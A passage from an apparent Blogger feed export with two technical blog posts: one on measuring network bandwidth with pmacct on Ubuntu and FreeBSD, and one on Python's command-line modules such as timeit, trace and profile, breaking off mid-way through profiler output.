&amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0,000 KB/s&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10,668 KB/s&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 372,108 KB&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FreeBSD doesn't provide any analogue of /proc/net/dev data, and uses internal structures for gathering the statistic.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Universal way&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
But there is a way which works on all the platforms: &lt;a href="http://www.tcpdump.org/"&gt;libpcap&lt;/a&gt;. The Packet Capture library provides a high level interface to packet capture systems. All packets on the network, even those destined for other hosts, are accessible through this mechanism.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, direct use of &lt;b&gt;libpcap&lt;/b&gt; requires root privileges, so some daemon/service have to be used for gathering the statistic. I've stopped on &lt;a href="http://www.pmacct.net/"&gt;pmacct&lt;/a&gt; project, and will explain further how to set up and use it.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;pmacct&lt;/b&gt; is a small set of passive network monitoring tools to measure, account,     classify, aggregate and export IPv4 and IPv6 traffic; its main features are:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Runs on Linux, BSDs, Solaris and embedded systems&lt;/li&gt;
&lt;li&gt;Support for both IPv4 and IPv6&lt;/li&gt;
&lt;li&gt;Collects data through libpcap, Netlink/ULOG, NetFlow v1/v5/v7/v8/v9 and sFlow v2/v4/v5&lt;/li&gt;
&lt;li&gt;Saves data to a number of backends including memory tables, MySQL, PostgreSQL and SQLite&lt;/li&gt;
&lt;li&gt;Exports data to remote collectors through NetFlow v5/v9 and sFlow v5&lt;/li&gt;
&lt;li&gt;Replicates incoming NetFlow and sFlow packets to remote collectors&lt;/li&gt;
&lt;li&gt;Flexible architecture to tag, filter, redirect, aggregate and split captured data&lt;/li&gt;
&lt;li&gt;Pluggable architecture for easy integration of new capturing environments and data backends&lt;/li&gt;
&lt;li&gt;Careful SQL support: data pre-processing, triggers, dynamic table naming&lt;/li&gt;
&lt;li&gt;It's free, open-source, developed and supported with passion and open mind&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;/ul&gt;&lt;span style="font-size: large;"&gt;Pmacct installation&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ubuntu:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo apt-get install pmacct&lt;/div&gt;&lt;br /&gt;
FreeBSD:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ cd /usr/ports/net-mgmt/pmacct&lt;/div&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo make install clean&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
After the installation &lt;b&gt;pmacctd&lt;/b&gt; daemon and &lt;b&gt;pmacct&lt;/b&gt; client tool will be available.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Pmacctd daemon configuring&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
We have to configure two files - the daemon configuration file and networks file describing the networks which should be monitored.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Daemon configuration file (&lt;b&gt;/etc/pmacct/pmacctd.conf&lt;/b&gt; in Ubuntu, &lt;b&gt;/usr/local/etc/pmacct/pmacctd.conf&lt;/b&gt; in FreeBSD):&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;! pmacctd configuration&lt;br /&gt;
daemonize: true&lt;br /&gt;
pidfile: /var/run/pmacctd.pid&lt;br /&gt;
syslog: daemon&lt;br /&gt;
! on this interface (age0 or similar for FreeBSD)&lt;br /&gt;
interface: eth0&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;! interested in in and outbound traffic&lt;br /&gt;
networks_file: /usr/local/etc/networks.def&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;aggregate[in]: dst_net&lt;br /&gt;
aggregate[out]: src_net&lt;br /&gt;
! storage methods&lt;br /&gt;
plugin_buffer_size: 2048&lt;br /&gt;
plugin_pipe_size: 2048000&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;plugins: memory[in], memory[out]&lt;br /&gt;
imt_path[in]: /tmp/pmacct_in.pipe&lt;br /&gt;
imt_path[out]: /tmp/pmacct_out.pipe &lt;/div&gt;&lt;br /&gt;
Here we set up to listen eth0 interface, aggregate all the network information, and store the information in the memory database. Pmacct client will connect the daemon via pipes declared by &lt;b&gt;imt_path&lt;/b&gt; parameters.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Networks file (&lt;b&gt;/usr/local/etc/networks.def&lt;/b&gt;):&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;192.168.1.0/24&lt;/div&gt;&lt;br /&gt;
My IP-address (192.168.1.X) is in this network, so I listen all the network.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now you can test the configuration by starting the daemon with it:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ pmacctd -f pmacctd.conf&lt;/div&gt;&lt;br /&gt;
If everything is fine, it will start without any complains. For debugging purposes, you can start it without daemonizing and with &lt;b&gt;debug: true&lt;/b&gt; option.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Using the pmacct&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
For getting statistic use the &lt;b&gt;pmacct&lt;/b&gt; client:&lt;br /&gt;
&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ pmacct -s -p /tmp/pmacct_in.pipe &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;DST_IP                                         PACKETS     BYTES&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;::                                             1           56&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;192.168.1.0                                    26707       24994698&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0.0.0.0                                        22672       3691429&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;For a total of: 3 entries&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Use the different pipes for getting inbound/outbound statistic. To get the bytes only use clarified requests like:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ pmacct -N 192.168.1.0 -c dst_net -p /tmp/pmacct_in.pipe &lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;25308311&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ pmacct -N 192.168.1.0 -c src_net -p /tmp/pmacct_out.pipe&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;4368614&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;pmacct&lt;/b&gt; has a useful option "-r" (reset counters), so if you use it with this option every second you'll have network speed (bytes per second), as I do in my monitoring tool:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_b8spDATDZH0/TG9AeCoA8JI/AAAAAAAAAMw/ViqxszNJAqw/s1600/test.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="315" src="http://2.bp.blogspot.com/_b8spDATDZH0/TG9AeCoA8JI/AAAAAAAAAMw/ViqxszNJAqw/s400/test.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;FreeBSD daemon&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
FreeBSD requires one more step - make pmacctd starting during the loading process. For this I've put the &lt;b&gt;pmacctd&lt;/b&gt; shell script in the &lt;b&gt;/etc/rc.d&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
# PROVIDE: pmacctd&lt;br /&gt;
# REQUIRE: DAEMON&lt;br /&gt;
# BEFORE:&amp;nbsp; LOGIN&lt;br /&gt;
# KEYWORD: nojail shutdown&lt;br /&gt;
&lt;br /&gt;
. /etc/rc.subr&lt;br /&gt;
&lt;br /&gt;
name="pmacctd"&lt;br /&gt;
rcvar=`set_rcvar`&lt;br /&gt;
command="/usr/local/sbin/${name}"&lt;br /&gt;
command_args="-f /usr/local/etc/pmacctd.conf"&lt;br /&gt;
pidfile="/var/run/${name}.pid"&lt;br /&gt;
&lt;br /&gt;
load_rc_config $name&lt;br /&gt;
run_rc_command "$1"&lt;/div&gt;&lt;br /&gt;
And set up &lt;b&gt;/etc/rc.conf&lt;/b&gt; to start the daemon during the system loading:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;pmacctd_enable="YES"&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
That's all. Hope this help you in monitoring and auditing your systems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-42485573027611951?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/42485573027611951/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/08/monitoring-network-bandwidth-usage.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/42485573027611951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/42485573027611951'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/08/monitoring-network-bandwidth-usage.html' title='Monitoring network bandwidth usage'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_b8spDATDZH0/TG9AeCoA8JI/AAAAAAAAAMw/ViqxszNJAqw/s72-c/test.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-3146849555593351336</id><published>2010-07-02T03:57:00.001-07:00</published><updated>2010-07-05T17:52:38.456-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Useful Python executable modules</title><content type='html'>In the article &lt;a href="http://nuald.blogspot.com/2010/02/using-python-command-line.html"&gt;"Using Python command line"&lt;/a&gt; I've described some executable modules and now want to give more details about the most interesting ones. I do not pretend to cover everything, just want to point out some directions where you can go if you find this useful.&lt;br /&gt;
&lt;br/&gt;&lt;div&gt;&lt;br/&gt;&lt;br /&gt;
&lt;b&gt;SimpleHTTPServer&lt;/b&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;The executable module which I use if there is no possibility to send files from one computer to another by other methods (ssh, smb, ftp etc). It is not so fast, but can be very useful sometimes. The usage is very simple - just change directory to the required one, and start SimpleHTTPServer:&lt;/div&gt;&lt;br/&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_b8spDATDZH0/TC2_TYXbTCI/AAAAAAAAAKk/IdE2CTploDk/s1600/simplehttpserver.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="345" src="http://4.bp.blogspot.com/_b8spDATDZH0/TC2_TYXbTCI/AAAAAAAAAKk/IdE2CTploDk/s400/simplehttpserver.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;b&gt;calendar&lt;/b&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;Very simple module - just shows the year calendar:&lt;/div&gt;&lt;br/&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_b8spDATDZH0/TC2_8227HfI/AAAAAAAAAKs/ZBKN1rTYouw/s1600/calendar.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://2.bp.blogspot.com/_b8spDATDZH0/TC2_8227HfI/AAAAAAAAAKs/ZBKN1rTYouw/s400/calendar.png" width="381" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;b&gt;urllib&lt;/b&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;Very simple download manager. Useful if you want to download a file or a page via command line, but don't have &lt;i&gt;wget&lt;/i&gt; utility (for example, in Windows). Now you don't even need to open IE for FF downloading:&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ python -m urllib "http://download.mozilla.org/?product=firefox-3.6.6&amp;amp;os=win&amp;amp;lang=en-US" &amp;gt; firefox_setup.exe&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;b&gt;timeit&lt;/b&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;Tool for measuring execution time of small code snippets. For example, let's measure classical list comprehension example:&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ python -m timeit "l = []" "for i in range(1000):l.append(i ** 2)"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;1000 loops, best of 3: 243 usec per loop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ python -m timeit "[i ** 2 for i in range(1000)]"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;10000 loops, best of 3: 181 usec per loop&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ python -m timeit "map(lambda i: i ** 2, range(1000))"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;1000 loops, best of 3: 278 usec per loop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;Standard list comprehension wins! :-)&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;b&gt;trace&lt;/b&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;This module allows trace the script execution and gather various statistics. As an example, I'll use the&amp;nbsp;&lt;a href="http://nuald.blogspot.com/2008/06/simple-password-generator-in-python.html"&gt;makepwd.py script&lt;/a&gt;. The --trace option trace all the Python commands executed during the script running:&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ python -m trace --trace makepwd.py&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;--- modulename: threading, funcname: settrace&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;threading.py(90): &amp;nbsp; &amp;nbsp; _trace_hook = func&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;--- modulename: trace, funcname: &lt;module&gt;&lt;/module&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&lt;string&gt;(1): &amp;nbsp; --- modulename: trace, funcname: &lt;module&gt;&lt;/module&gt;&lt;/string&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;makepwd.py(2): """ Simple password generator """&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;makepwd.py(4): import random&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;--- modulename: random, funcname: &lt;module&gt;&lt;/module&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;..... skipped ....&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;--- modulename: random, funcname: randrange&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;random.py(171): &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; istart = int(start)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;random.py(172): &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if istart != start:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;random.py(174): &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if stop is default:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;random.py(182): &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; istop = int(stop)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;random.py(183): &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if istop != stop:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;random.py(185): &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; width = istop - istart&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;random.py(186): &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if step == 1 and width &amp;gt; 0:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;random.py(200): &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if width &amp;gt;= maxwidth:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;random.py(202): &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return int(istart + int(self.random()*width))&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;makepwd.py(15): &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for __ in range(options.length)])&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$GdEu3Xz&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;Of course, it is VERY verbose, but it can be useful for Python learning or debugging multithreaded application.&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;b&gt;profile&lt;/b&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;This module allows to profile a script. It supports various sorting options. As an example, I'll use the same script:&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ python -m profile -s calls makepwd.py&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;amp;&amp;lt;^8i*i=&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 430 function calls in 0.000 CPU seconds&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; Ordered by: call count&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; ncalls &amp;nbsp;tottime &amp;nbsp;percall &amp;nbsp;cumtime &amp;nbsp;percall filename:lineno(function)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; 48 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 :0(endswith)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; 48 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 :0(startswith)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; 36 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 :0(append)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; 25 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 :0(setattr)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; 18 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 :0(get)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; 18 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 :0(find)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; 16 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 :0(stat)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; 16 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 genericpath.py:15(exists)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; 16 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 posixpath.py:59(join)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; 12 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 :0(replace)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; 11 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 :0(len)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;8 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 :0(random)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;8 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 random.py:160(randrange)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;8 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 &amp;nbsp; &amp;nbsp;0.000 